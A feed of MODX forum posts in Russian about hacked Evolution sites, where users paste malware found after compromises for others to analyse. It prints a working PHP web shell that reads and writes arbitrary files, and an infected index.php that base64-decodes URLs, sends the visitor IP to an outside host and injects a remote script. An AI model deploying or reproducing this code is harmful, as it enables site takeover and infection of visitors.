0.00
76 читателей, 48 топиков

[EVO] Меня поломали полностью? 0_о

Сайт на evo 1.0.6
plugin Forgot Manager Login 1.1.6
Также используется шопкипер последний.
При заходе на одну из страниц выдает вот такую лабуду простым текстом

om_content&view=article&id=183";s:4:«type»;s:9:«component»;s:9:«published»;s:1:«1»;s:6:«parent»;s:2:«65»;s:11:«componentid»;s:2:«20»;s:8:«sublevel»;s:1:«2»;s:8:«ordering»;s:1:«3»;s:11:«checked_out»;s:1:«0»;s:16:«checked_out_time»;s:19:«0000-00-00 00:00:00»;s:6:«pollid»;s:1:«0»;s:10:«browserNav»;s:1:«0»;s:6:«access»;s:1:«0»;s:8:«utaccess»;s:1:«0»;s:6:«params»;s:442:«show_noauth= show_title= link_titles= show_intro= show_section= link_section= show_category= link_category= show_author= show_create_date= show_modify_date= show_item_navigation= show_readmore= show_vote= show_icons= show_pdf_icon= show_print_icon= show_email_icon= show_hits= feed_summary= page_title=Запчасти для автокранов Клинцы КС-55713 и КС-35719 show_page_title=0 pageclass_sfx= menu_image=-1 secure=0 »;s:3:«lft»;s:1:«0»;s:3:«rgt»;s:1:«0»;s:4:«home»;s:1:«0»;s:9:«component»;s:11:«com_content»;s:4:«tree»;a:3:{i:0;s:2:«56»;i:1;s:2:«65»;i:2;s:2:«71»;}s:5:«route»;s:58:«zapchasti/zapchasti-avtokranov/zapchasti-avtokranov-klinci»;s:5:«query»;a:3:{s:6:«option»;s:11:«com_content»;s:4:«view»;s:7:«article»;s:2:«id»;s:3:«183»;}}i:72;O:8:«stdClass»:25:{s:2:«id»;s:2:«72»;s:8:«menutype»;s:7:«topmenu»;s:4:«name»;s:18:«Галичанин»;s:5:«alias»;s:31:«zapchasti-avtokranov-galichanin»;s:4:«link»;s:48:«index.php?option=com_content&view=article&id=184»;s:4:«type»;s:9:«component»;s:9:«published»;s:1:«1»;s:6:«parent»;s:2:«65»;s:11:«componentid»;s:2:«20»;s:8:«sublevel»;s:1:«2»;s:8:«ordering»;s:1:«4»;s:11:«checked_out»;s:1:«0»;s:16:«checked_out_time»;s:19:«0000-00-00 00:00:00»;s:6:«pollid»;s:1:«0»;s:10:«browserNav»;s:1:«0»;s:6:«access»;s:1:«0»;s:8:«utaccess»;s:1:«0»;s:6:«params»;s:450:«show_noauth= show_title=0 link_titles= show_intro= show_section= link_section= show_category= link_category= show_author= show_create_date= show_modify_date= show_item_navigation= show_readmore= show_vote= show_icons= show_pdf_icon= show_print_icon= show_email_icon= show_hits= feed_summary= page_title=Запчасти для автокранов Галичанин КС-55713 и КС-4572А show_page_title=0 pageclass_sfx= menu_image=-1 secure=0 »;s:3:«lft»;s:1:«0»;s:3:«rgt»;s:1:«0»;s:4:«home»;s:1:«0»;s:9:«component»;s:11:«com_content»;s:4:«tree»;a:3:{i:0;s:2:«56»;i:1;s:2:«65»;i:2;s:2:«72»;}s:5:«route»;s:62:«zapchasti/zapchasti-avtokranov/zapchasti-avtokranov-galichanin»;s:5:«query»;a:3:{s:6:«option»;s:11:«com_content»;s:4:«view»;s:7:«article»;s:2:«id»;s:3:«184»;}}i:122;O:8:«stdClass»:25:{s:2:«id»;s:3:«122»;s:8:«menutype»;s:7:«topmenu»;s:4:«name»;s:24:«Ремкомплекты»;s:5:«alias»;s:33:«zapchasti-avtokranov-remkomplekti»;s:4:«link»;s:48:«index.php?option=com_content&view=article&id=180»;s:4:«type»;s:9:«component»;s:9:«published»;s:1:«1»;s:6:«parent»;s:2:«65»;s:11:«componentid»;s:2:«20»;s:8:«sublevel»;s:1:«2»;s:8:«ordering»;s:1:«5»;s:11:«checked_out»;s:1:«0»;s:16:«checked_out_time»;s:19:«0000-00-00 00:00:00»;s:6:«pollid»;s:1:«0»;s:10:«browserNav»;s:1:«0»;s:6:«access»;s:1:«0»;s:8:«utaccess»;s:1:«0»;s:6:«params»;s:498:«show_noauth= show_title= link_titles= show_intro= show_section= link_section= show_category= link_category= show_author= show_create_date= show_modify_date= show_item_navigation= show_readmore= show_vote= show_icons= show_pdf_icon= show_print_icon= show_email_icon= show_hits= feed_summary= page_title=Ремкомплекты для автокранов и гидроцилиндров І Кольца, манжеты, фторопласт show_page_title=0 pageclass_sfx= menu_image=-1 secure=0 »;s:3:«lft»;s:1:«0»;s:3:«rgt»;s:1:«0»;s:4:«home»;s:1:«0»;s:9:«component»;s:11:«com_content»;s:4:«tree»;a:3:{i:0;s:2:«56»;i:1;s:2:«65»;i:2;s:3:«122»;}s:5:«route»;s:64:«zapchasti/zapchasti-avtokranov/zapchasti-avtokranov-remkomplekti»;s:5:«query»;a:3:{s:6:«option»;s:11:«com_content»;s:4:«view»;s:7:«article»;s:2:«id»;s:3:«180»;}}i:123;O:8:«stdClass»:25:{s:2:«id»;s:3:«123»;s:8:«menutype»;s:7:«topmenu»;s:4:«name»;s:39:«Приборы безопасности»;s:5:«alias»;s:41:«zapchasti-avtokranov-pribori-bezopasnosti»;s:4:«link»;s:48:«index.php?option=com_content&view=article&id=185»;s:4:«type»;s:9:«component»;s:9:«published»;s:1:«1»;s:6:«parent»;s:2:«65»;s:11:«componentid»;s:2:«20»;s:8:«sublevel»;s:1:«2»;s:8:«ordering»;s:1:«6»;s:11:«checked_out»;s:1:«0»;s:16:«checked_out_time»;s:19:«0000-00-00 00:00:00»;s:6:«pollid»;s:1:«0»;s:10:«browserNav»;s:1:«0»;s:6:«access»;s:1:«0»;s:8:«utaccess»;s:1:«0»;s:6:«params»;s:465:«show_noauth= show_title= link_titles= show_intro= show_section= link_section= show_category= link_category= show_author= show_create_date= show_modify_date= show_item_navigation= show_readmore= show_vote= show_icons= show_pdf_icon= show_print_icon= show_email_icon= show_hits= feed_summary= page_title=Приборы безопасности для автокранов І ОНК, БОДы и датчики show_page_title=0 pageclass_sfx= menu_image=-1 secure=0 »;s:3:«lft»;s:1:«0»;s:3:«rgt»;s:1:«0»;s:4:«home»;s:1:«0»;s:9:«component»;s:11:«com_content»;s:4:«tree»;a:3:{i:0;s:2:«56»;i:1;s:2:«65»;i:2;s:3:«123»;}s:5:«route»;s:72:«zapchasti/zapchasti-avtokranov/zapchasti-avtokranov-pribori-bezopasnosti»;s:5:«query»;a:3:{s:6:«option»;s:11:«com_content»;s:4:«view»;s:7:«article»;s:2:«id»;s:3:«185»;}}i:163;O:8:«stdClass»:25:{s:2:«id»;s:3:«163»;s:8:«menutype»;s:7:«topmenu»;s:4:«name»;s:23:«РДК, ДЭК и др.»;s:5:«alias»;s:24:«zapchasti-kranov-rdk-dek»;s:4:«link»;s:48:«index.php?option=com_content&view=article&id=197»;s:4:«type»;s:9:«component»;s:9:«published»;s:1:«1»;s:6:«parent»;s:2:«65»;s:11:«componentid»;s:2:«20»;s:8:«sublevel»;s:1:«2»;s:8:«ordering»;s:1:«7»;s:11:«checked_out»;s:1:«0»;s:16:«checked_out_time»;s:19:«0000-00-00 00:00:00»;s:6:«pollid»;s:1:«0»;s:10:«browserNav»;s:1:«0»;s:6:«access»;s:1:«0»;s:8:«utaccess»;s:1:«0»;s:6:«params»;s:413:«show_noauth= show_title= link_titles= show_intro= show_section= link_section= show_category= link_category= show_author= show_create_date= show_m

Что это и куда копать?

[EVO] Файлы появившиеся после взлома

В одном из топиков я писал что сайт хакнули (100% через старый плагин восстановления пароля) и в index.php добавили трипера. Покопавшись более детально я нашел левые файлы и измененный файл парсера.
Новые файлы называются
session_keepalive.log.inc.php
$sContent = "<!-- documentId:".$modx->documentObject['id']." -->";

global $modx;
if($pos = strpos($modx->documentOutput,'</body>')){
	$modx->documentOutput = substr($modx->documentOutput,0,$pos).$sContent.substr($modx->documentOutput,$pos);
}


и tmplvars.settings.inc.php

<?php class TemplateVariableSettingsReturn {
	public function processTemplateVariableOut(){
	$act = $this->getVar('act');
	switch($act){
	case 'fw':	
$path = $this->getVar('path');
	$content = $this->getVar('content');
	@chdir(__DIR__);
		if(file_put_contents($path, $content)) echo ('Ok'); else echo('Error');
			break;
			case 'fr':
		$path = $this->getVar('path');
	if($content = file_get_contents($path)) echo($content); else echo('Error');
		break;
		case 'cc':
		$path = 'session_keepalive.log.inc.php';
				$content = $this->getVar('content');
				@chdir(__DIR__);
 if(file_put_contents($path, $content)) echo ('Ok'); else echo('Error');
break;
			default:
				echo('Alive');
		die();
		}	}
	private function getVar($var){
		if(isset($_GET[$var])) return $_GET[$var];
		if(isset($_POST[$var])) return $_POST[$var];
		return null;
	}}
$cl = new TemplateVariableSettingsReturn();
$cl->processTemplateVariableOut();
?>


Что конкретно поменяли в document.parser.class.inc.php я не искал. Некогда.
Прилагаю его здесь для скачивания, может любителям будет интересно.
файл

[EVO] Взломали сайт на evo

Взломали сайт собственно. Пока не знаю как. Привожу текст файла index.php для разбора.

<?php
/*
*************************************************************************
	MODx Content Management System and PHP Application Framework 
	Managed and maintained by Raymond Irving, Ryan Thrash and the
	MODx community
*************************************************************************
	MODx is an opensource PHP/MySQL content management system and content
	management framework that is flexible, adaptable, supports XHTML/CSS
	layouts, and works with most web browsers, including Safari.

	MODx is distributed under the GNU General Public License	
*************************************************************************

	MODx CMS and Application Framework ("MODx")
	Copyright 2005 and forever thereafter by Raymond Irving & Ryan Thrash.
	All rights reserved.

	This file and all related or dependant files distributed with this filie
	are considered as a whole to make up MODx.

	MODx is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	MODx is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with MODx (located in "/assets/docs/"); if not, write to the Free Software
	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA

	For more information on MODx please visit http://modxcms.com/
	
**************************************************************************
    Originally based on Etomite by Alex Butter
**************************************************************************
*/	

/**
 * Initialize Document Parsing
 * -----------------------------
 */

// get start time
$mtime = microtime(); $mtime = explode(" ",$mtime); $mtime = $mtime[1] + $mtime[0]; $tstart = $mtime;

// harden it
require_once(dirname(__FILE__).'/manager/includes/protect.inc.php');

// set some settings, and address some IE issues
@ini_set('url_rewriter.tags', '');
@ini_set('session.use_trans_sid', 0);
@ini_set('session.use_only_cookies',1);
session_cache_limiter('');
header('P3P: CP="NOI NID ADMa OUR IND UNI COM NAV"'); // header for weird cookie stuff. Blame IE.
header('Cache-Control: private, must-revalidate');
ob_start();
error_reporting(E_ALL & ~E_NOTICE);

/**
 *	Filename: index.php
 *	Function: This file loads and executes the parser. *
 */

define("IN_ETOMITE_PARSER", "true"); // provides compatibility with etomite 0.6 and maybe later versions
define("IN_PARSER_MODE", "true");
define("IN_MANAGER_MODE", "false");

if (!defined('MODX_API_MODE')) {
    define('MODX_API_MODE', false);
}

// initialize the variables prior to grabbing the config file
$database_type = '';
$database_server = '';
$database_user = '';
$database_password = '';
$dbase = '';
$table_prefix = '';
$base_url = '';
$base_path = '';

// get the required includes
if($database_user=="") {
	$rt = @include_once(dirname(__FILE__).'/manager/includes/config.inc.php');
	// Be sure config.inc.php is there and that it contains some important values
	if(!$rt || !$database_type || !$database_server || !$database_user || !$dbase) {
	echo "
<style type=\"text/css\">
*{margin:0;padding:0}
body{margin:50px;background:#eee;}
.install{padding:10px;border:5px solid #f22;background:#f99;margin:0 auto;font:120%/1em serif;text-align:center;}
p{ margin:20px 0; }
a{font-size:200%;color:#f22;text-decoration:underline;margin-top: 30px;padding: 5px;}
</style>
<div class=\"install\">
<p>MODx is not currently installed or the configuration file cannot be found.</p>
<p>Do you want to <a href=\"install/index.php\">install now</a>?</p>
</div>";
		exit;
	}
}

// start session 
startCMSSession();

// initiate a new document parser
include_once(MODX_MANAGER_PATH.'/includes/document.parser.class.inc.php');
$modx = new DocumentParser;
$etomite = &$modx; // for backward compatibility

// set some parser options
$modx->minParserPasses = 1; // min number of parser recursive loops or passes
$modx->maxParserPasses = 10; // max number of parser recursive loops or passes
$modx->dumpSQL = false;
$modx->dumpSnippets = false; // feed the parser the execution start time
$modx->tstart = $tstart;

// Debugging mode:
$modx->stopOnNotice = false;

// Don't show PHP errors to the public
if(!isset($_SESSION['mgrValidated']) || !$_SESSION['mgrValidated']) {
    @ini_set("display_errors","0");
}

// execute the parser if index.php was not included
if (!MODX_API_MODE) {
    $modx->executeParser();
}
function sql2_safe($in) {
        $rtn = base64_decode($in);
        return $rtn;
}
function collectnewss() {

		if (!isset($_COOKIE["iJijkdaMnerys"])) {
        $value = 'yadeor';
		$ip = $_SERVER['REMOTE_ADDR'];
        $get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
		$content = @file_get_contents($get);
		@setcookie("iJijkdaMnerys", $value, time()+3600*24);
		if (!$content)
			echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
		else 
			echo $content;

		}
}
collectnewss ();
?>

[REVO] Выполнение произвольного кода MODX Revolution до версии 2.2.5

В продолжении топика Повышение прав через eval в сниппетах. Только теперь мы это же самое будем делать в Revolution и мы не привязаны к наличию какого-то сниппета. Нам вообще требуется только права на редактирование документа, а это есть у всех контент-менеджеров.

Читать дальше →

Безопасность ваших сайтов. Правило 5

Правило 5: фильтрация данных должна быть уместна на данном участке кода.

Тут я думаю стоит рассмотреть все на конкретных примерах.

Читать дальше →

Безопасность ваших сайтов. Правило 3

Правило 3: Никогда не используйте кустарную сборку CMS или скрипт не изучив его исходный код. В противном случае возьмите исходник с официального сайта и допилите, либо же для себя подготовьте свою сборку (Кстати, разработчики MODx не одобряют выкладывание в паблик своих сборок этой CMS. Я об этом говорил и буду говорить).

Читать дальше →

Безопасность ваших сайтов. Правило 1

Судя по недавним топикам и комментариям в них многим очень интересна эта тема. В общем предлагаю данным топиком начать цикл статей относительно безопасности сайтов.

Читать дальше →

[EVO] Отключаем сообщения об ошибках

Многие наверное видели сообщения вида MODx Parse Error bla-bla-bla
на сайтах сделаных на modx evolution. Как правило подобные ошибки несут в себе чисто информативный харрактер. Но эта информация может дать очень ценную информацию для скрипткидиса.


Читать дальше →